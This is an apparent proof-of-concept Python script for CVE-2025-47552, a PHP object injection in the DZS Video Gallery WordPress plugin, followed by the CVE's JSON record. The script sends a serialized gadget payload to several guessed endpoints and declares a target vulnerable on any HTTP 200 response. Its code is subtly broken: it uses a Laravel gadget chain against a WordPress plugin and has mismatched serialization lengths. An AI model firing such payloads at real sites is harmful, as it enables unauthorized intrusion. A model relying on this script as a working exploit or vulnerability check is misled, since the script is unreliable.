CVE-2025-47552

import requests import sys from urllib.parse import urlencode # CVE-2025-47552 PoC - DZS Video Gallery PHP Object Injection # This is for educational and security testing purposes only target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Malicious serialized payload targeting PHP object injection # Using a simple pop chain with built-in PHP classes payload = 'O:31:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:29:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00pipes";a:0:{}}s:8:"\x00*\x00event";O:29:"Illuminate\\Foundation\\Console\Kernel":0:{}}' # Alternative payload using Phar deserialization phar_payload = 'php://filter/read=convert.base64-encode/resource=phar://malicious.phar' def check_vulnerability(url): """Check if target is vulnerable""" endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/dzs-videogallery/ajax.php', '/?wp-die=1' ] print(f'[*] Testing target: {url}') print(f'[*] CVE-2025-47552 - DZS Video Gallery Object Injection') for endpoint in endpoints: try: full_url = url.rstrip('/') + endpoint # Try different parameter names params_list = [ {'action': 'dzs_video_gallery_ajax', 'data': payload}, {'action': 'dzs_gallery', 'params': payload}, {'dzs_action': 'serialize', 'input': payload} ] for params in params_list: response = requests.post(full_url, data=params, timeout=10, verify=False) print(f'[+] Tested endpoint: {endpoint} with params: {list(params.keys())}') if response.status_code == 200: print(f'[+] Potential vulnerability detected at {endpoint}') return True except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') print('[-] Target may not be vulnerable or is not reachable') return False if __name__ == '__main__': check_vulnerability(target_url) # Note: Actual exploitation requires identifying specific vulnerable endpoint # and constructing appropriate pop chain based on available classes

{"cve": {"id": "CVE-2025-47552", "sourceIdentifier": "[email protected]", "published": "2026-01-07T13:15:43.577", "lastModified": "2026-04-28T19:32:24.840", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Digital zoom studio DZS Video Gallery allows Object Injection.This issue affects DZS Video Gallery: from n/a through 12.37."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/dzs-videogallery/vulnerability/wordpress-dzs-video-gallery-12-25-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}